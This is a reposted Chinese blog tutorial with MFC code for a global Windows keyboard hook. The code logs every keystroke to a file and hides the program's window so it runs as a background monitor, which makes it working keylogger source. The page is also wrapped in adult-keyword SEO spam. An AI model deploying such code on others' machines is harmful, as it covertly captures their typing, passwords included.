青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

twzheng's cppblog

『站在風(fēng)口浪尖緊握住鼠標(biāo)旋轉(zhuǎn)!』 http://www.cnblogs.com/twzheng

  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
  136 隨筆 :: 78 文章 :: 353 評論 :: 0 Trackbacks
用鍵盤鉤子在Windows平臺捕獲鍵盤動作
摘自:好易教程網(wǎng)
信息產(chǎn)業(yè)部電子第二十二研究所青島分所 郎銳

一、引言
我們可以在應(yīng)用程序中毫不費力的捕獲在本程序窗口上所進行的鍵盤操作,但如果我們想要將此程序作成一個監(jiān)控程序,捕獲在Windows平臺下任意窗口上的鍵盤操作,就需要借助于全局鉤子來實現(xiàn)了。
二、系統(tǒng)鉤子和DLL
鉤子的本質(zhì)是一段用以處理系統(tǒng)消息的程序,通過系統(tǒng)調(diào)用,將其掛入系統(tǒng)。鉤子的種類有很多,每種鉤子可以截獲并處理相應(yīng)的消息,每當(dāng)特定的消息發(fā)出,在到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權(quán)。此時在鉤子函數(shù)中就可以對截獲的消息進行加工處理,甚至可以強制結(jié)束消息的傳遞。
在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統(tǒng)的消息,而全局鉤子函數(shù)必須以DLL(動態(tài)連接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標(biāo)準(zhǔn)靜態(tài)鏈接MFC DLL)、Regular using the shared MFC DLL(標(biāo)準(zhǔn)動態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見采用了標(biāo)準(zhǔn)靜態(tài)連接MFC DLL。
三、鍵盤鉤子程序示例
本示例程序用到全局鉤子函數(shù),程序分兩部分:可執(zhí)行程序KeyHook和動態(tài)連接庫LaunchDLL。
1、首先編制MFC擴展動態(tài)連接庫LaunchDLL.dll:
(1)選擇MFC AppWizard(DLL)創(chuàng)建項目LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(標(biāo)準(zhǔn)靜態(tài)鏈接MFC DLL)。
(2)在LaunchDLL.h中添加宏定義和待導(dǎo)出函數(shù)的聲明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局變量Hook和全局函數(shù)LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的這幾個函數(shù)的實現(xiàn)部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我們實現(xiàn)了Windows的系統(tǒng)鉤子的安裝,首先要調(diào)用SDK中的API函數(shù)SetWindowsHookEx來安裝這個鉤子函數(shù),其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一個參數(shù)指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關(guān)心鍵盤操作所以設(shè)定為WH_KEYBOARD;第二個參數(shù)標(biāo)識鉤子函數(shù)的入口地址,當(dāng)鉤子鉤到任何消息后便調(diào)用這個函數(shù),即當(dāng)不管系統(tǒng)的哪個窗口有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數(shù)是鉤子函數(shù)所在模塊的句柄,我們可以很簡單的設(shè)定其為本應(yīng)用程序的實例句柄;最后一個參數(shù)是鉤子相關(guān)函數(shù)的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統(tǒng)的消息,在本程序中鉤子需要為全局鉤子,故設(shè)定為0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
雖然調(diào)用CallNextHookEx()是可選的,但調(diào)用此函數(shù)的習(xí)慣是很值得推薦的;否則的話,其他安裝了鉤子的應(yīng)用程序?qū)⒉粫邮盏姐^子的通知而且還有可能產(chǎn)生不正確的結(jié)果,所以我們應(yīng)盡量調(diào)用該函數(shù)除非絕對需要阻止其他程序獲取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
當(dāng)有鍵彈起的時候就通過此函數(shù)將剛彈起的鍵保存到記錄文件中從而實現(xiàn)對鍵盤進行監(jiān)控記錄的目的。
編譯完成便可得到運行時所需的鍵盤鉤子的動態(tài)連接庫LaunchDLL.dll和進行靜態(tài)鏈接時用到的LaunchDLL.lib。
2、下面開始編寫調(diào)用此動態(tài)連接庫的主程序,并實現(xiàn)最后的集成:
(1)用MFC的AppWizard(EXE)創(chuàng)建項目KeyHook;
(2)選擇單文檔,其余幾步可均為確省;
(3)把LaunchDLL.h和LaunchDLL.lib復(fù)制到KeyHook工程目錄中,LaunchDLL.dll復(fù)制到Debug目錄下。
(4)鏈接DLL庫,即在"Project","Settings…"的"Link"屬性頁內(nèi),在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:
#include "LaunchDLL.h"
這樣我們就可以象使用本工程內(nèi)的 函數(shù)一樣使用動態(tài)連接庫LaunchDLL.dll中的所有導(dǎo)出函數(shù)了。
(5)在視類中添加虛函數(shù)OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:
……
InstallLaunchEv();
……
(6)到此為止其實已經(jīng)完成了所有的功能,但作為一個后臺監(jiān)控軟件,運行時并不希望有界面,可以在應(yīng)用程序類CkeyHookApp的InitInstance()函數(shù)中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow(SW_HIDE);即可。
四、運行與檢測
編譯運行程序,運行起來之后并無什么現(xiàn)象,但通過Alt+Ctrl+Del在關(guān)閉程序?qū)υ捒騼?nèi)可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發(fā)現(xiàn):通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。
小結(jié):系統(tǒng)鉤子具有相當(dāng)強大的功能,通過這種技術(shù)可以對幾乎所有的Windows系統(tǒng)消息進行攔截、監(jiān)視、處理。這種技術(shù)廣泛應(yīng)用于各種自動監(jiān)控系統(tǒng)中。
posted on 2007-06-05 00:29 譚文政 閱讀(544) 評論(0)  編輯 收藏 引用 所屬分類: 網(wǎng)絡(luò)編程
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美高清视频| 久久久av毛片精品| 久久久久久久尹人综合网亚洲| 午夜激情一区| 99精品热6080yy久久 | 久久精品一二三区| 国产伦精品一区二区三区在线观看 | 欧美精品性视频| 久久久久久69| 欧美aaaaaaaa牛牛影院| 欧美日韩国产一级| 国产精品区一区| 激情久久一区| 99精品国产在热久久下载| 一区二区欧美日韩| 欧美在线免费观看亚洲| 久久一二三区| 99av国产精品欲麻豆| 性色av香蕉一区二区| 美女尤物久久精品| 国产精品美女一区二区| 亚洲大胆人体在线| 午夜精品在线观看| 久久亚洲精品欧美| 一区二区三欧美| 麻豆91精品| 国产欧美一区二区三区沐欲| 亚洲日本中文字幕| 久久久久久久久久久成人| 亚洲国产日韩美| 一本综合久久| 一区二区三区精品视频在线观看| 亚洲欧美中文在线视频| 久久野战av| 国产精品稀缺呦系列在线| 狠狠做深爱婷婷久久综合一区| 在线视频一区二区| 欧美成人一区二区三区| 在线视频欧美日韩| 欧美99久久| 伊人婷婷欧美激情| 亚洲男人第一网站| 亚洲东热激情| 亚洲欧美日韩区| 欧美色欧美亚洲另类二区| 黄页网站一区| 欧美一区在线直播| 一区二区免费看| 欧美福利一区二区三区| 激情五月婷婷综合| 欧美一区在线看| 99热在这里有精品免费| 久久九九热免费视频| 国产精品一区二区久久国产| 在线视频日本亚洲性| 欧美激情第三页| 久久三级视频| 国外精品视频| 久久精品国产精品| 日韩视频中午一区| 欧美精品激情blacked18| 亚洲精品国产精品国产自| 欧美福利视频一区| 母乳一区在线观看| 亚洲人成啪啪网站| 亚洲国产精品福利| 欧美国产日韩一区二区在线观看| 亚洲欧洲一区二区三区| 亚洲黄色免费| 欧美福利视频在线| aa亚洲婷婷| 亚洲女同精品视频| 国产麻豆精品久久一二三| 羞羞色国产精品| 性伦欧美刺激片在线观看| 国产日韩欧美一区二区三区在线观看 | 一区二区国产精品| 亚洲美女毛片| 国产精品家教| 欧美在线视频在线播放完整版免费观看 | 亚洲人体大胆视频| 欧美美女福利视频| 亚洲一区二区三区视频| 99视频一区| 国产乱码精品一区二区三区忘忧草| 欧美在线观看网址综合| 久久精品中文字幕一区二区三区 | 欧美成人一区二免费视频软件| 亚洲国产精品久久精品怡红院| 免费成人高清视频| 你懂的国产精品| 午夜亚洲福利在线老司机| 欧美一级片一区| 亚洲精品美女免费| 校园激情久久| 最新精品在线| 亚洲少妇诱惑| 91久久精品网| 一区二区三区毛片| 国产最新精品精品你懂的| 欧美xx69| 久久频这里精品99香蕉| 最新国产精品拍自在线播放| 欧美日本精品| 裸体一区二区| 国产精品热久久久久夜色精品三区| 久久九九免费视频| 欧美日韩伦理在线| 猛男gaygay欧美视频| 欧美区在线播放| 久久一二三四| 国产日韩精品视频一区二区三区| 亚洲经典在线| 在线观看视频一区二区| 亚洲在线观看| 亚洲网站在线| 欧美第一黄色网| 老司机亚洲精品| 国产精品亚洲综合色区韩国| 最新日韩在线视频| 亚洲国产成人porn| 久久不射中文字幕| 欧美一区免费视频| 国产精品久久亚洲7777| 亚洲精选中文字幕| 日韩亚洲精品电影| 嫩模写真一区二区三区三州| 嫩草影视亚洲| 在线日韩中文字幕| 久久久久青草大香线综合精品| 欧美综合国产| 国产日韩在线不卡| 欧美制服第一页| 久久男人资源视频| 国内一区二区三区| 欧美一级视频免费在线观看| 欧美在线不卡| 国产又爽又黄的激情精品视频| 午夜精品一区二区三区电影天堂 | 夜夜夜久久久| 欧美视频专区一二在线观看| 99国产精品| 亚洲在线播放| 国产精品手机视频| 欧美在线观看你懂的| 久久久中精品2020中文| 在线日韩av片| 欧美日本精品| 亚洲综合精品一区二区| 久久精品中文| 亚洲国产一区在线观看| 欧美久久电影| 亚洲男人的天堂在线| 久久全国免费视频| 亚洲国产影院| 国产精品白丝av嫩草影院| 亚洲嫩草精品久久| 免费国产自线拍一欧美视频| 亚洲精品国产精品国自产观看| 欧美日韩在线视频一区二区| 亚洲欧美日本视频在线观看| 裸体一区二区| 亚洲一区二区综合| 红桃视频国产精品| 欧美乱人伦中文字幕在线| 午夜精品国产精品大乳美女| 欧美阿v一级看视频| 亚洲影院在线| 在线观看欧美视频| 亚洲一区二区在| 亚洲成色777777女色窝| 久久精品国产精品亚洲综合| 欧美91视频| 亚洲精品一区二区三区99| 欧美日韩无遮挡| 久久精品国产一区二区电影| 亚洲精品久久久久久久久久久久久| 欧美特黄a级高清免费大片a级| 亚洲欧美在线免费| 亚洲欧洲一区| 国产亚洲一区二区精品| 欧美—级a级欧美特级ar全黄| 亚洲深夜影院| 欧美激情亚洲另类| 久久gogo国模裸体人体| 日韩一二在线观看| 狠狠色狠狠色综合人人| 欧美人交a欧美精品| 欧美一区二区三区免费视频| 亚洲乱码久久| 欧美成人久久| 欧美一区二区三区成人| 亚洲国产精品一区二区尤物区| 国产精品日韩精品| 欧美精品手机在线| 久久女同互慰一区二区三区| 亚洲欧美欧美一区二区三区| 欧美xart系列高清| 久久五月激情| 亚洲免费在线视频一区 二区|